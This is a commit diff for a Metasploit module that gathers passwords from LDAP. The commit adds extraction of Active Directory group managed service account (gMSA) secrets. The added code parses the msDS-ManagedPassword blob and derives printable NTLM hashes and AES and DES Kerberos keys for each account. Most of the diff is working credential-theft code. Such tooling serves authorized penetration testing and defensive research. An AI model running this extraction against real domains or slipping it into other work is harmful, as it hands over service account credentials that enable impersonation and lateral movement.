Skip to content

Commit 82610ae

Browse files
committed
Initial commit of extracting gMSA secrets from LDAP
1 parent 8fdf0ea commit 82610ae

File tree

1 file changed

+84
-56
lines changed

1 file changed

+84
-56
lines changed

modules/auxiliary/gather/ldap_passwords.rb

Lines changed: 84 additions & 56 deletions
Original file line numberDiff line numberDiff line change
@@ -11,14 +11,16 @@ class MetasploitModule < Msf::Auxiliary
1111
include Msf::Auxiliary::Report
1212
include Msf::Exploit::Remote::MsGkdi
1313
include Msf::Exploit::Remote::LDAP
14+
include Msf::Exploit::Remote::LDAP::ActiveDirectory
1415
include Msf::Exploit::Remote::LDAP::Queries
1516
include Msf::OptionalSession::LDAP
17+
include Msf::Util::WindowsCryptoHelpers
1618

1719
include Msf::Exploit::Deprecated
1820
moved_from 'auxiliary/gather/ldap_hashdump'
1921

2022
LDAP_CAP_ACTIVE_DIRECTORY_OID = '1.2.840.113556.1.4.800'.freeze
21-
PASSWORD_ATTRIBUTES = %w[clearpassword mailuserpassword mslaps-password mslaps-encryptedpassword ms-mcs-admpwd password passwordhistory pwdhistory sambalmpassword sambantpassword userpassword userpkcs12]
23+
PASSWORD_ATTRIBUTES = %w[clearpassword mailuserpassword msds-managedpassword mslaps-password mslaps-encryptedpassword ms-mcs-admpwd password passwordhistory pwdhistory sambalmpassword sambantpassword userpassword userpkcs12]
2224

2325
def initialize(info = {})
2426
super(
@@ -27,7 +29,8 @@ def initialize(info = {})
2729
'Name' => 'LDAP Password Disclosure',
2830
'Description' => %q{
2931
This module will gather passwords and password hashes from a target LDAP server via multiple techniques
30-
including Windows LAPS.
32+
including Windows LAPS. For best results, run with SSL because some attributes are only readable over
33+
encrypted connections.
3134
},
3235
'Author' => [
3336
'Spencer McIntyre', # LAPS updates
@@ -67,59 +70,6 @@ def session?
6770
defined?(:session) && session
6871
end
6972

70-
def get_ad_ds_domain_info(ldap)
71-
vprint_status('Checking if the target LDAP server is an Active Directory Domain Controller...')
72-
73-
root_dse = ldap.search(
74-
ignore_server_caps: true,
75-
base: '',
76-
scope: Net::LDAP::SearchScope_BaseObject,
77-
attributes: %i[configurationNamingContext supportedCapabilities supportedExtension]
78-
)&.first
79-
80-
unless root_dse[:supportedcapabilities].map(&:to_s).include?(LDAP_CAP_ACTIVE_DIRECTORY_OID)
81-
print_status('The target LDAP server is not an Active Directory Domain Controller.')
82-
return nil
83-
end
84-
85-
unless root_dse[:supportedextension].include?(Net::LDAP::WhoamiOid)
86-
print_status('The target LDAP server is not an Active Directory Domain Controller.')
87-
return nil
88-
end
89-
90-
print_status('The target LDAP server is an Active Directory Domain Controller.')
91-
92-
unless ldap.search(base: '', filter: '(objectClass=domain)').nil?
93-
# this *should* never happen unless we're tricked into connecting on a different port but if it does happen it
94-
# means we'll be getting information from more than one domain which breaks some core assumptions
95-
# see: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc978012(v=technet.10)
96-
fail_with(Msf::Module::Failure::NoTarget, 'The target LDAP server is a Global Catalog.')
97-
end
98-
99-
target_domains = ldap.search(
100-
base: root_dse[:configurationnamingcontext].first.to_s,
101-
filter: "(&(objectCategory=crossref)(nETBIOSName=*)(nCName=#{ldap.base_dn}))"
102-
)
103-
unless target_domains.present?
104-
fail_with(Msf::Module::Failure::NotFound, 'The target LDAP server did not return its NETBIOS domain name.')
105-
end
106-
107-
unless target_domains.length == 1
108-
fail_with(Msf::Module::Failure::NotFound, "The target LDAP server returned #{target_domains.length} NETBIOS domain names.")
109-
end
110-
111-
target_domain = target_domains.first
112-
113-
{
114-
netbios_name: target_domain[:netbiosname].first.to_s,
115-
dns_name: target_domain[:dnsroot].first.to_s
116-
}
117-
end
118-
119-
def ad_domain?
120-
@ad_ds_domain_info.nil?
121-
end
122-
12373
# PoC using ldapsearch(1):
12474
#
12575
# Retrieve root DSE with base DN:
@@ -147,10 +97,22 @@ def run_host(_ip)
14797
vprint_status("Using the '#{datastore['USER_ATTR']}' attribute as the username")
14898
end
14999

150-
@ad_ds_domain_info = get_ad_ds_domain_info(ldap)
100+
vprint_status('Checking if the target LDAP server is an Active Directory Domain Controller...')
101+
if is_active_directory?(ldap)
102+
print_status('The target LDAP server is an Active Directory Domain Controller.')
103+
@ad_ds_domain_info = adds_get_domain_info(ldap)
104+
else
105+
print_status('The target LDAP server is not an Active Directory Domain Controller.')
106+
@ad_ds_domain_info = nil
107+
end
151108

152109
print_status("Searching base DN: #{base_dn}")
153110
entries_returned += ldap_search(ldap, base_dn, base: base_dn)
111+
unless @ad_ds_domain_info.nil?
112+
attributes = %w[dn sAMAccountName msDS-ManagedPassword]
113+
attributes << datastore['USER_ATTR'] unless datastore['USER_ATTR'].blank? || attributes.include?(datastore['USER_ATTR'])
114+
entries_returned += ldap_search(ldap, base_dn, base: base_dn, filter: '(objectClass=msDS-GroupManagedServiceAccount)', attributes: attributes)
115+
end
154116
end
155117

156118
# Safe if server did not return anything
@@ -300,6 +262,29 @@ def process_hash(entry, attr)
300262
# LAPSv1 doesn't store the name of the local administrator anywhere in LDAP. It's technically configurable via Group Policy, but we'll assume it's 'Administrator'.
301263
username = 'Administrator'
302264
annotation = "(expires: #{convert_nt_timestamp_to_time_string(entry['ms-mcs-admpwdexpirationtime'].first.to_i)})" if entry['ms-mcs-admpwdexpirationtime'].present?
265+
when 'msds-managedpassword'
266+
managed_password = MsdsManagedpasswordBlob.read(private_data)
267+
current_password = managed_password.buffer_fields[:current_password] # this field should always be present
268+
if current_password && (domain_dns_name = @ad_ds_domain_info&.fetch(:dns_name))
269+
sam_account_name = entry[:sAMAccountName].first.to_s
270+
salt = "#{domain_dns_name.upcase}host#{sam_account_name.delete_suffix('$').downcase}.#{domain_dns_name.downcase}"
271+
encoded_current_password = current_password.force_encoding('UTF-16LE').encode('UTF-8', invalid: :replace, undef: :replace).force_encoding('ASCII-8BIT')
272+
273+
ntlm_hash = OpenSSL::Digest::MD4.digest(current_password)
274+
ntlm_hash = "#{sam_account_name}:2105:aad3b435b51404eeaad3b435b51404ee:#{ntlm_hash.unpack1('H*')}:::"
275+
aes256_key = aes256_cts_hmac_sha1_96(encoded_current_password, salt)
276+
aes256_key = "#{domain_dns_name}\\#{sam_account_name}:aes256-cts-hmac-sha1-96:#{aes256_key.unpack1('H*')}"
277+
aes128_key = aes128_cts_hmac_sha1_96(encoded_current_password, salt)
278+
aes128_key = "#{domain_dns_name}\\#{sam_account_name}:aes128-cts-hmac-sha1-96:#{aes128_key.unpack1('H*')}"
279+
des_key = des_cbc_md5(encoded_current_password, salt)
280+
des_key = "#{domain_dns_name}\\#{sam_account_name}:des-cbc-md5:#{des_key.unpack1('H*')}"
281+
282+
print_good(ntlm_hash)
283+
print_good(aes256_key)
284+
print_good(aes128_key)
285+
print_good(des_key)
286+
private_data = 'see above'
287+
end
303288
when 'mslaps-password'
304289
begin
305290
lapsv2 = JSON.parse(private_data)
@@ -495,4 +480,47 @@ class KVPairs < RASN1::Model
495480
model(:key_attr, Sequence)
496481
]
497482
end
483+
484+
# this is a partial implementation, processing the buffer and the fields is simplified to only support reading
485+
# see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e
486+
class MsdsManagedpasswordBlob < BinData::Record
487+
endian :little
488+
hide :reserved
489+
490+
uint16 :version
491+
uint16 :reserved
492+
uint32 :blob_length
493+
uint16 :current_password_offset
494+
uint16 :previous_password_offset
495+
uint16 :query_password_interval_offset
496+
uint16 :unchanged_password_interval_offset
497+
498+
count_bytes_remaining :bytes_remaining
499+
string :buffer, read_length: -> { bytes_remaining }
500+
501+
def buffer_fields
502+
boffset = offset_of(buffer)
503+
bfield_offsets = {
504+
current_password: current_password_offset,
505+
previous_password: previous_password_offset,
506+
query_password_interval: query_password_interval_offset,
507+
unchanged_password_interval: unchanged_password_interval_offset
508+
}.sort_by { |_field, offset| offset }
509+
510+
bfields = {}
511+
bfield_offsets.each_cons(2) do |(field, offset), (_, next_offset)|
512+
next if offset == 0
513+
514+
bfields[field] = buffer[(offset - boffset)..(next_offset - boffset)]
515+
end
516+
last_field, last_offset = bfield_offsets.last
517+
bfields[last_field] = buffer[(last_offset - boffset)..] if last_offset != 0
518+
519+
bfields[:current_password] = bfields[:current_password].split("\x00\x00".b).first if bfields[:current_password]
520+
bfields[:previous_password] = bfields[:previous_password].split("\x00\x00".b).first if bfields[:previous_password]
521+
bfields[:query_password_interval] = bfields[:query_password_interval].unpack1('Q<') if bfields[:query_password_interval]
522+
bfields[:unchanged_password_interval] = bfields[:unchanged_password_interval].unpack1('Q<') if bfields[:unchanged_password_interval]
523+
bfields
524+
end
525+
end
498526
end

0 commit comments

Comments
 (0)